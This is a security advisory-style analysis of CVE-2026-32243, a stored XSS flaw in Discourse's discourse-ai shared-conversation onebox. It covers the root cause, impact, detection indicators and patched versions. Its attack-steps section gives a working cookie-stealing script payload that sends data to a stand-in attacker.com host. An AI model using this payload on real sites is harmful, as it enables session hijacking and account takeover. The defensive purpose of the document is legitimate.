CVE-2026-32243: 
NixOS vulnerability analysis and mitigation

CVE-2026-32243 is a stored Cross-Site Scripting (XSS) vulnerability in Discourse, an open-source discussion platform, affecting the discourse-ai plugin's shared AI conversation onebox feature. An attacker with the ability to create shared AI conversations can inject arbitrary HTML and JavaScript via crafted conversation titles, which then execute in the browsers of other users viewing the onebox preview. Affected versions include 2026.1.0 through 2026.1.2, 2026.2.0 through 2026.2.1, and 2026.3.0 (pre-patch). The vulnerability was published on March 31, 2026, and carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, Feedly).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically in the onebox rendering logic for shared AI conversation titles within the discourse-ai plugin. When a user creates a shared AI conversation, the conversation title is stored without adequate HTML escaping and later rendered unsanitized in the onebox preview component. The fix, committed as cac7d618a562ce934f8dbf73cdb70066a4806b4c, adds HTML escaping via ERB::Util.html_escape to the title field before rendering, confirming that the title was previously passed directly into the onebox HTML output (GitHub Commit, GitHub Advisory). Exploitation requires a low-privileged account with permission to create shared AI conversations, and victim interaction (viewing the onebox preview) is necessary to trigger payload execution.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of any Discourse user who views the malicious onebox preview. The primary risks include session hijacking (theft of authentication tokens or session cookies) and unauthorized actions performed on behalf of the victim, such as posting content, changing account settings, or accessing private data visible to the victim's account. Confidentiality and integrity are both partially impacted, while availability is unaffected (GitHub Advisory, Feedly).

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time (Feedly). The EPSS score is approximately 0.047%, reflecting a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Obtain a low-privileged account: Register or compromise a Discourse account that has permission to create shared AI conversations on the target instance.
2. Craft a malicious conversation title: Create a shared AI conversation and set its title to a JavaScript payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent HTML/JS injection string.
3. Share the conversation: Generate and distribute the shareable link for the malicious AI conversation, or embed it in a Discourse post where it will be rendered as an onebox preview.
4. Wait for victim interaction: When another user views the post or page containing the onebox preview of the shared conversation, the unsanitized title is rendered in their browser, executing the injected JavaScript.
5. Harvest results: The attacker receives stolen session cookies or tokens at their collection endpoint, enabling session hijacking or further unauthorized actions on behalf of the victim (GitHub Advisory, GitHub Commit).

• Logs: Discourse application logs showing creation of shared AI conversations with titles containing <script>, javascript:, onerror=, onload=, or other HTML event handler patterns.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after viewing Discourse pages with AI conversation onebox previews; potential exfiltration of cookie or token data in query parameters.
• Application: Shared AI conversation records in the database with titles containing unescaped HTML or JavaScript code; review the shared_ai_conversations table for anomalous title values.
• User Activity: Reports of unexpected account actions (posts, settings changes) from users who recently viewed AI conversation onebox previews, potentially indicating session hijacking.

Discourse has released patched versions addressing this vulnerability: 2026.1.3, 2026.2.2, and 2026.3.0. Administrators should upgrade their Discourse installations to the appropriate patched version immediately. As an interim workaround, restrict the ability to create shared AI conversations to trusted users only, reducing the attack surface until patching is feasible. Additionally, monitor for suspicious conversation titles containing script tags or JavaScript event handlers (GitHub Advisory).